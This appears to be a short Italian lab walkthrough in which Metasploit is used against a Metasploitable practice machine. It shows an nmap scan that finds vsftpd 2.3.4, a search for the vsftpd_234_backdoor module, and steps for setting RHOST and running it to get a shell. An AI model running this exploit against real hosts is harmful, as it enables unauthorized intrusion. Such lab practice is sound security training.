

Iniziamo facendo una scansione delle porte della macchina metasploitable:

```
msf6 > nmap -sV -T5 192.168.50.101
[*] exec: nmap -sV -T5 192.168.50.101

Starting Nmap 7.94SVN ( https://nmap.org
Nmap scan report for 192.168.50.101
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
```

Quindi quello che ci interessa è la versione del servizio vsftpd; ora possiamo cercare con metasploit se ci sono degli exploit che si possono usare:

```
msf6 > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -  -                                     -              -      -  -  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03     excellent No      VSFTPD v2.3.4 Backdoor Command Execution
```

Ne abbiamo trovato uno in particolare che possiamo utilizzare scrivendo “use 0”.

A questo punto controlliamo le opzioni dell’exploit e modifichiamo quelle che ci interessano, come RHOST, mettendo l’IP della macchina target, lanciamo l’exploit con “run” e siamo nella shell della metasploitable, ora navighiamo verso la directory root e ne creiamo una:

Test_metasploit.